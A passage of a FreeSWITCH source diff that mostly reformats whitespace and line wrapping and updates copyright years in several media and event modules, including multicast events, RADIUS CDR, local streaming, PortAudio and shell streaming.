last = (struct peer_status*) value;
host = (char *) key;
last = (struct peer_status *) value;
stream->write_function(stream, "Peer %s %s; last seen %d seconds ago\n", host, last->active ? "UP" : "DOWN", now - last->lastseen);
i++;
@@ -420,7 +418,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Bind Error\n");
switch_goto_status(SWITCH_STATUS_TERM, fail);
}
if (switch_event_reserve_subclass(MULTICAST_EVENT) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't register subclass %s!\n", MULTICAST_EVENT);
switch_goto_status(SWITCH_STATUS_GENERR, fail);
@@ -440,7 +438,6 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind!\n");
switch_goto_status(SWITCH_STATUS_GENERR, fail);
}
#ifdef USE_NONBLOCK
switch_socket_opt_set(globals.udp_socket, SWITCH_SO_NONBLOCK, TRUE);
#endif
@@ -454,7 +451,7 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_event_multicast_load)
return SWITCH_STATUS_SUCCESS;
fail:
fail:
if (globals.udp_socket) {
switch_socket_close(globals.udp_socket);
@@ -512,7 +509,6 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
if ((status = switch_socket_recvfrom(addr, globals.udp_socket, 0, buf, &len)) != SWITCH_STATUS_SUCCESS || !len || !globals.running) {
break;
}
#ifdef USE_NONBLOCK
if (!len) {
if (SWITCH_STATUS_IS_BREAK(status)) {
@@ -532,7 +528,7 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
}
#ifdef HAVE_OPENSSL
if (globals.psk) {
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH+1];
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
char *tmp;
int outl, tmplen;
EVP_CIPHER_CTX ctx;
@@ -549,22 +545,21 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
EVP_CIPHER_CTX_init(&ctx);
EVP_DecryptInit(&ctx, EVP_bf_cbc(), NULL, NULL);
EVP_CIPHER_CTX_set_key_length(&ctx, strlen(globals.psk));
EVP_DecryptInit(&ctx, NULL, (unsigned char*) globals.psk, (unsigned char*) uuid_str);
EVP_DecryptUpdate(&ctx, (unsigned char*) tmp,
&outl, (unsigned char*) packet, (int) len);
EVP_DecryptFinal(&ctx, (unsigned char*) tmp + outl, &tmplen);
EVP_DecryptInit(&ctx, NULL, (unsigned char *) globals.psk, (unsigned char *) uuid_str);
EVP_DecryptUpdate(&ctx, (unsigned char *) tmp, &outl, (unsigned char *) packet, (int) len);
EVP_DecryptFinal(&ctx, (unsigned char *) tmp + outl, &tmplen);
*(tmp + outl + tmplen) = '\0';
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp));*/
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "decrypted event as %s\n----------\n of actual length %d (%d) %d\n", tmp, outl + tmplen, (int) len, (int) strlen(tmp)); */
packet = tmp;
}
#endif
if ((m = strchr(packet, (int) MAGIC[0])) != 0) {
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n");*/
if (!strncmp((char*) MAGIC, m, strlen((char*) MAGIC))) {
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n");*/
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found start of magic string\n"); */
if (!strncmp((char *) MAGIC, m, strlen((char *) MAGIC))) {
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Found entire magic string\n"); */
*m = '\0';
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Failed to find entire magic string\n");
@@ -575,7 +570,7 @@ SWITCH_MODULE_RUNTIME_FUNCTION(mod_event_multicast_runtime)
continue;
}
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet);*/
/*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "\nEVENT %d\n--------------------------------\n%s\n", (int) len, packet); */
if (switch_event_create_subclass(&local_event, SWITCH_EVENT_CUSTOM, MULTICAST_EVENT) == SWITCH_STATUS_SUCCESS) {
char *var, *val, *term = NULL, tmpname[128];
switch_event_add_header_string(local_event, SWITCH_STACK_BOTTOM, "Multicast", "yes");
File diff suppressed because it is too large. Load diff
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -42,7 +42,8 @@ SWITCH_MODULE_DEFINITION(mod_radius_cdr, mod_radius_cdr_load, mod_radius_cdr_shu
static struct {
int shutdown;
switch_thread_rwlock_t *rwlock;
} globals = { 0 };
} globals = {
0};
static char cf[] = "mod_radius_cdr.conf";
static char my_dictionary[PATH_MAX];
@@ -346,9 +347,7 @@ static switch_status_t my_on_routing(switch_core_session_t *session)
}
}
if (profile->caller_extension &&
profile->caller_extension->last_application &&
profile->caller_extension->last_application->application_name) {
if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
(void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
@@ -369,8 +368,8 @@ static switch_status_t my_on_routing(switch_core_session_t *session)
retval = SWITCH_STATUS_TERM;
}
rc_avpair_free(send);
rc_destroy(rad_config);
end:
rc_destroy(rad_config);
end:
switch_xml_free(cdr);
switch_thread_rwlock_unlock(globals.rwlock);
return (retval);
@@ -562,8 +561,7 @@ static switch_status_t my_on_reporting(switch_core_session_t *session)
goto end;
}
}
if (profile->caller_extension && profile->caller_extension->last_application &&
profile->caller_extension->last_application->application_name) {
if (profile->caller_extension && profile->caller_extension->last_application && profile->caller_extension->last_application->application_name) {
if (rc_avpair_add(rad_config, &send, PW_FS_LASTAPP,
(void *) profile->caller_extension->last_application->application_name, -1, PW_FS_PEC) == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "failed adding Freeswitch-Lastapp: %s\n", profile->source);
@@ -643,9 +641,9 @@ static switch_status_t my_on_reporting(switch_core_session_t *session)
retval = SWITCH_STATUS_TERM;
}
rc_avpair_free(send);
rc_destroy(rad_config);
rc_destroy(rad_config);
end:
end:
switch_xml_free(cdr);
switch_thread_rwlock_unlock(globals.rwlock);
return (retval);
@@ -718,11 +716,11 @@ static const switch_state_handler_table_t state_handlers = {
/*.on_hangup */ NULL,
/*.on_exchange_media */ NULL,
/*.on_soft_execute */ NULL,
/*.on_consume_media*/ NULL,
/*.on_hibernate*/ NULL,
/*.on_reset*/ NULL,
/*.on_park*/ NULL,
/*.on_reporting*/ my_on_reporting
/*.on_consume_media */ NULL,
/*.on_hibernate */ NULL,
/*.on_reset */ NULL,
/*.on_park */ NULL,
/*.on_reporting */ my_on_reporting
};
SWITCH_MODULE_LOAD_FUNCTION(mod_radius_cdr_load)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -63,10 +63,10 @@ static int next_file(switch_file_handle_t *handle)
char *file;
const char *prefix = handle->prefix;
top:
top:
context->index++;
if (switch_test_flag((&context->fh), SWITCH_FILE_OPEN)) {
switch_core_file_close(&context->fh);
}
@@ -89,13 +89,10 @@ static int next_file(switch_file_handle_t *handle)
}
if (switch_core_file_open(&context->fh,
file,
handle->channels,
handle->samplerate,
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
file, handle->channels, handle->samplerate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
goto top;
}
handle->samples = context->fh.samples;
handle->samplerate = context->fh.samplerate;
handle->channels = context->fh.channels;
@@ -122,15 +119,15 @@ static switch_status_t file_string_file_open(switch_file_handle_t *handle, const
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
return SWITCH_STATUS_FALSE;
}
context = switch_core_alloc(handle->memory_pool, sizeof(*context));
file_dup = switch_core_strdup(handle->memory_pool, path);
context->argc = switch_separate_string(file_dup, '!', context->argv, (sizeof(context->argv) / sizeof(context->argv[0])));
context->index = -1;
handle->private_info = context;
return next_file(handle) ? SWITCH_STATUS_SUCCESS : SWITCH_STATUS_FALSE;
}
@@ -150,17 +147,17 @@ static switch_status_t file_string_file_read(switch_file_handle_t *handle, void
size_t llen = *len;
if (context->samples > 0) {
if (*len > (size_t)context->samples) {
if (*len > (size_t) context->samples) {
*len = context->samples;
}
context->samples -= *len;
switch_generate_sln_silence((int16_t *) data, *len, 400);
status = SWITCH_STATUS_SUCCESS;
} else {
status = switch_core_file_read(&context->fh, data, len);
}
if (status != SWITCH_STATUS_SUCCESS) {
if (!next_file(handle)) {
return SWITCH_STATUS_FALSE;
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -137,7 +137,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
}
switch_thread_rwlock_create(&source->rwlock, source->pool);
if (RUNNING) {
switch_mutex_lock(globals.mutex);
switch_core_hash_insert(globals.source_hash, source->name, source);
@@ -156,7 +156,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Error creating pool");
goto done;
}
if (switch_dir_open(&source->dir_handle, source->location, temp_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't open directory: %s\n", source->location);
goto done;
@@ -203,7 +203,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
fname = path_buf;
fh.prebuf = source->prebuf;
fh.pre_buffer_datalen = source->prebuf;
if (switch_core_file_open(&fh,
(char *) fname,
source->channels, source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
@@ -211,7 +211,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
switch_yield(1000000);
continue;
}
if (switch_core_timer_init(&timer, source->timer_name, source->interval, source->samples, temp_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, "Can't start timer.\n");
switch_dir_close(source->dir_handle);
@@ -231,10 +231,10 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
if (source->chime_counter > 0) {
source->chime_counter -= source->samples;
}
if (!switch_test_flag((&source->chime_fh), SWITCH_FILE_OPEN) && source->chime_counter <= 0) {
char *val;
val = source->chime_list[source->chime_cur++];
if (source->chime_cur >= source->chime_total) {
@@ -243,9 +243,8 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
if (switch_core_file_open(&source->chime_fh,
(char *) val,
source->channels,
source->rate,
SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
source->channels,
source->rate, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open %s\n", val);
}
}
@@ -255,7 +254,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
}
}
retry:
retry:
is_open = switch_test_flag(use_fh, SWITCH_FILE_OPEN);
@@ -287,7 +286,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
if (!used && !is_open) {
break;
}
if (!is_open || used >= source->prebuf || (source->total && used > source->samples * 2)) {
used = switch_buffer_read(audio_buffer, dist_buf, source->samples * 2);
if (source->total) {
@@ -322,7 +321,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
source->dir_handle = NULL;
}
done:
done:
if (switch_test_flag((&fh), SWITCH_FILE_OPEN)) {
switch_core_file_close(&fh);
@@ -339,7 +338,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
switch_thread_rwlock_wrlock(source->rwlock);
switch_thread_rwlock_unlock(source->rwlock);
switch_buffer_destroy(&audio_buffer);
if (fd > -1) {
@@ -376,7 +375,7 @@ static switch_status_t local_stream_file_open(switch_file_handle_t *handle, cons
switch_mutex_lock(globals.mutex);
top:
top:
alt_path = switch_mprintf("%s/%d", path, handle->samplerate);
@@ -439,7 +438,7 @@ static switch_status_t local_stream_file_open(switch_file_handle_t *handle, cons
source->total++;
switch_mutex_unlock(source->mutex);
end:
end:
switch_safe_free(alt_path);
return status;
}
@@ -464,7 +463,7 @@ static switch_status_t local_stream_file_close(switch_file_handle_t *handle)
switch_mutex_unlock(context->source->mutex);
switch_buffer_destroy(&context->audio_buffer);
switch_thread_rwlock_unlock(context->source->rwlock);
return SWITCH_STATUS_SUCCESS;
}
@@ -573,7 +572,8 @@ static void launch_threads(void)
}
} else if (!strcasecmp(var, "chime-list")) {
char *list_dup = switch_core_strdup(source->pool, val);
source->chime_total = switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
source->chime_total =
switch_separate_string(list_dup, ',', source->chime_list, (sizeof(source->chime_list) / sizeof(source->chime_list[0])));
} else if (!strcasecmp(var, "interval")) {
int tmp = atoi(val);
if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
@@ -644,19 +644,19 @@ SWITCH_STANDARD_API(stop_local_stream_function)
switch_mutex_unlock(globals.mutex);
if (!source) {
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
goto done;
}
source->stopped = 1;
stream->write_function(stream,"+OK");
stream->write_function(stream, "+OK");
goto done;
usage:
usage:
stream->write_function(stream, "-USAGE: %s\n", STOP_LOCAL_STREAM_SYNTAX);
switch_safe_free(mycmd);
done:
done:
switch_safe_free(mycmd);
return SWITCH_STATUS_SUCCESS;
@@ -694,7 +694,7 @@ SWITCH_STANDARD_API(show_local_stream_function)
xml = SWITCH_TRUE;
}
}
if (!local_stream_name) {
goto usage;
}
@@ -730,18 +730,18 @@ SWITCH_STANDARD_API(show_local_stream_function)
stream->write_function(stream, " stopped: %s\n", (source->stopped) ? "true" : "false");
}
} else {
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n",local_stream_name);
stream->write_function(stream, "-ERR Cannot locate local_stream %s!\n", local_stream_name);
goto done;
}
}
stream->write_function(stream,"+OK");
stream->write_function(stream, "+OK");
goto done;
usage:
usage:
stream->write_function(stream, "-USAGE: %s\n", SHOW_LOCAL_STREAM_SYNTAX);
done:
done:
switch_mutex_unlock(globals.mutex);
switch_safe_free(mycmd);
@@ -796,29 +796,28 @@ SWITCH_STANDARD_API(start_local_stream_function)
if (argv[5]) {
tmp = atoi(argv[5]);
if (tmp == 1 || tmp == 2) {
channels = (uint8_t)tmp;
channels = (uint8_t) tmp;
}
}
interval = argv[6] ? atoi(argv[6]) : 20;
if (!SWITCH_ACCEPTABLE_INTERVAL(interval)){
if (!SWITCH_ACCEPTABLE_INTERVAL(interval)) {
interval = 20;
}
if (!path){
if (!path) {
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
stream->write_function(stream, "-ERR unable to open file %s!\n",cf);
stream->write_function(stream, "-ERR unable to open file %s!\n", cf);
goto done;
}
for (directory = switch_xml_child(cfg, "directory"); directory; directory = directory->next) {
char *name = (char *) switch_xml_attr(directory, "name");
if (!name || !local_stream_name || strcasecmp(name, local_stream_name)){
if (!name || !local_stream_name || strcasecmp(name, local_stream_name)) {
continue;
}
else {
} else {
path = (char *) switch_xml_attr(directory, "path");
if (!(name && path)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid config!\n");
@@ -868,7 +867,7 @@ SWITCH_STANDARD_API(start_local_stream_function)
}
switch_xml_free(xml);
}
if (zstr(local_stream_name) || zstr(path)) {
goto usage;
}
@@ -878,13 +877,13 @@ SWITCH_STANDARD_API(start_local_stream_function)
switch_mutex_unlock(globals.mutex);
if (source) {
source->stopped = 0;
stream->write_function(stream,"+OK");
goto done;
stream->write_function(stream, "+OK");
goto done;
}
if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "OH OH no pool for new local_stream\n");
stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n",local_stream_name);
stream->write_function(stream, "-ERR unable to allocate memory for local_stream %s!\n", local_stream_name);
goto done;
}
@@ -910,13 +909,13 @@ SWITCH_STANDARD_API(start_local_stream_function)
switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
switch_thread_create(&thread, thd_attr, read_stream_thread, source, source->pool);
stream->write_function(stream,"+OK");
stream->write_function(stream, "+OK");
goto done;
usage:
usage:
stream->write_function(stream, "-USAGE: %s\n", START_LOCAL_STREAM_SYNTAX);
done:
done:
switch_safe_free(path);
switch_safe_free(timer_name);
@@ -960,7 +959,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_local_stream_shutdown)
RUNNING = 0;
switch_event_unbind_callback(event_handler);
while(THREADS > 0) {
while (THREADS > 0) {
switch_yield(100000);
}
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -104,7 +104,7 @@ static switch_status_t native_file_file_truncate(switch_file_handle_t *handle, i
if ((status = switch_file_trunc(context->fd, offset)) == SWITCH_STATUS_SUCCESS) {
handle->pos = 0;
}
return status;
}
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -154,9 +154,9 @@ static int get_dev_by_name(char *name, int in)
return -1;
}
static switch_status_t engage_device(portaudio_stream_source_t *source,int restart)
static switch_status_t engage_device(portaudio_stream_source_t *source, int restart)
{
PaStreamParameters inputParameters,outputParameters;
PaStreamParameters inputParameters, outputParameters;
PaError err;
int sample_rate = source->rate;
int codec_ms = source->interval;
@@ -187,8 +187,7 @@ static switch_status_t engage_device(portaudio_stream_source_t *source,int resta
if (switch_core_codec_init(&source->write_codec,
"L16",
NULL,
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
NULL) != SWITCH_STATUS_SUCCESS) {
sample_rate, codec_ms, 1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, NULL) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't load codec?\n");
switch_core_codec_destroy(&source->read_codec);
return SWITCH_STATUS_FALSE;
@@ -198,7 +197,7 @@ static switch_status_t engage_device(portaudio_stream_source_t *source,int resta
if (!source->timer.timer_interface) {
if (switch_core_timer_init(&source->timer,
source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
source->timer_name, codec_ms, source->read_codec.implementation->samples_per_packet,
module_pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "setup timer failed!\n");
switch_core_codec_destroy(&source->read_codec);
@@ -224,14 +223,13 @@ static switch_status_t engage_device(portaudio_stream_source_t *source,int resta
outputParameters.hostApiSpecificStreamInfo = NULL;
err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff,
source->read_codec.implementation->samples_per_packet, 0);
err = OpenAudioStream(&source->audio_stream, &inputParameters, NULL, sample_rate, paClipOff, source->read_codec.implementation->samples_per_packet, 0);
/* UNLOCKED ************************************************************************************************* */
if (err != paNoError) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error opening audio device retrying\n");
switch_yield(1000000);
err = OpenAudioStream(&source->audio_stream, &inputParameters, &outputParameters, sample_rate, paClipOff,
source->read_codec.implementation->samples_per_packet, 0);
source->read_codec.implementation->samples_per_packet, 0);
}
switch_mutex_unlock(source->device_lock);
@@ -251,7 +249,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
portaudio_stream_source_t *source = obj;
portaudio_stream_context_t *cp;
int samples = 0;
int bused, bytesToWrite;
int bused, bytesToWrite;
switch_mutex_lock(globals.mutex);
@@ -271,14 +269,14 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
switch_thread_rwlock_create(&source->rwlock, source->pool);
if (engage_device(source,0)!=SWITCH_STATUS_SUCCESS){
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n",(int) source->sourcedev);
if (engage_device(source, 0) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, " Dev %d cant be engaged !\n", (int) source->sourcedev);
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n",(int) source->sourcedev, (int) source->rate);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " Dev %d engaged at %d rate!\n", (int) source->sourcedev, (int) source->rate);
if (globals.running && !source->stopped) {
source->ready = 1;
if (!source->audio_stream){
if (!source->audio_stream) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Audio Stream wops!\n");
source->stopped = 0;
source->ready = 0;
@@ -287,7 +285,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
samples = 0;
switch_mutex_lock(source->device_lock);
samples = ReadAudioStream(source->audio_stream, source->databuf,
source->read_codec.implementation->samples_per_packet , &source->timer);
source->read_codec.implementation->samples_per_packet, &source->timer);
switch_mutex_unlock(source->device_lock);
@@ -306,9 +304,9 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
switch_mutex_lock(cp->audio_mutex);
bused = switch_buffer_inuse(cp->audio_buffer);
if (bused > source->samples * 768 ) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n", cp->func, cp->file,
cp->line,(int) bused, (int) ( source->samples * 768));
if (bused > source->samples * 768) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Leaking stream handle! [%s() %s:%d] %d used %d max\n",
cp->func, cp->file, cp->line, (int) bused, (int) (source->samples * 768));
switch_buffer_zero(cp->audio_buffer);
} else {
switch_buffer_write(cp->audio_buffer, source->databuf, bytesToWrite);
@@ -357,7 +355,7 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
switch_mutex_unlock(globals.mutex);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, " thread ending succesfully !\n");
switch_thread_exit(thread,SWITCH_STATUS_SUCCESS);
switch_thread_exit(thread, SWITCH_STATUS_SUCCESS);
return NULL;
}
@@ -365,14 +363,14 @@ static void *SWITCH_THREAD_FUNC read_stream_thread(switch_thread_t *thread, void
static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle, const char *path)
{
portaudio_stream_context_t *context ;
portaudio_stream_context_t *context;
portaudio_stream_source_t *source;
switch_memory_pool_t *pool;
switch_status_t status = SWITCH_STATUS_FALSE;
switch_thread_t *thread;
switch_threadattr_t *thd_attr = NULL;
uint32_t rate = PREFERRED_RATE;
char *npath ;
char *npath;
int devNumber;
int tmp;
@@ -383,7 +381,7 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
return status;
}
npath = switch_core_strdup(module_pool, path);
npath = switch_core_strdup(module_pool, path);
tmp = handle->samplerate;
if (tmp == 8000 || tmp == 16000 || tmp == 32000 || tmp == 48000) {
@@ -391,11 +389,11 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
}
if (*path == '#') {
devNumber = get_dev_by_number(npath + 1, 1);
devNumber = get_dev_by_number(npath + 1, 1);
} else {
devNumber = get_dev_by_name(npath , 1);
devNumber = get_dev_by_name(npath, 1);
}
npath = switch_mprintf("device-%d at %d",devNumber,rate);
npath = switch_mprintf("device-%d at %d", devNumber, rate);
switch_mutex_lock(globals.mutex);
source = switch_core_hash_find(globals.source_hash, npath);
@@ -408,7 +406,7 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, " :S no pool\n");
} else {
source = switch_core_alloc(pool, sizeof(*source));
if (source!=NULL){
if (source != NULL) {
source->pool = pool;
source->sourcedev = devNumber;
source->sourcename = switch_core_strdup(source->pool, npath);
@@ -436,8 +434,8 @@ static switch_status_t portaudio_stream_file_open(switch_file_handle_t *handle,
/* dev already engaged */
if (source) {
/*wait for source to be ready*/
while(source->ready==0) {
/*wait for source to be ready */
while (source->ready == 0) {
switch_yield(100000);
}
@@ -596,7 +594,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_portaudio_stream_shutdown)
globals.running = 0;
switch_event_unbind_callback(shutdown_event_handler);
while(globals.threads > 0) {
while (globals.threads > 0) {
switch_yield(100000);
}
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -43,7 +43,7 @@ struct shell_stream_context {
int pid;
char *command;
switch_buffer_t *audio_buffer;
switch_mutex_t *mutex;
switch_mutex_t *mutex;
switch_thread_rwlock_t *rwlock;
int running;
};
@@ -63,15 +63,15 @@ static void *SWITCH_THREAD_FUNC buffer_thread_run(switch_thread_t *thread, void
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Read Lock Fail\n");
goto end;
}
while(context->running) {
while (context->running) {
rlen = read(context->fds[0], data, MY_BUF_LEN);
if (rlen <= 3) {
break;
}
switch_mutex_lock(context->mutex);
switch_buffer_write(context->audio_buffer, data, rlen);
switch_mutex_unlock(context->mutex);
@@ -79,7 +79,7 @@ static void *SWITCH_THREAD_FUNC buffer_thread_run(switch_thread_t *thread, void
switch_thread_rwlock_unlock(context->rwlock);
end:
end:
context->running = 0;
@@ -92,26 +92,26 @@ static switch_status_t shell_stream_file_open(switch_file_handle_t *handle, cons
switch_status_t status = SWITCH_STATUS_SUCCESS;
switch_thread_t *thread;
switch_threadattr_t *thd_attr = NULL;
if (switch_test_flag(handle, SWITCH_FILE_FLAG_WRITE)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "This format does not support writing!\n");
return SWITCH_STATUS_FALSE;
}
context = switch_core_alloc(handle->memory_pool, sizeof(*context));
context->fds[0] = -1;
context->fds[1] = -1;
context->command = switch_core_sprintf(handle->memory_pool, "%s -r %d -c %d", path, handle->samplerate, handle->channels);
if (pipe(context->fds)) {
goto error;
} else { /* good to go*/
} else { /* good to go */
context->pid = fork();
if (context->pid < 0) { /* ok maybe not */
if (context->pid < 0) { /* ok maybe not */
goto error;
} else if (context->pid) { /* parent */
} else if (context->pid) { /* parent */
handle->private_info = context;
status = SWITCH_STATUS_SUCCESS;
close(context->fds[1]);
@@ -124,19 +124,19 @@ static switch_status_t shell_stream_file_open(switch_file_handle_t *handle, cons
switch_thread_rwlock_create(&context->rwlock, handle->memory_pool);
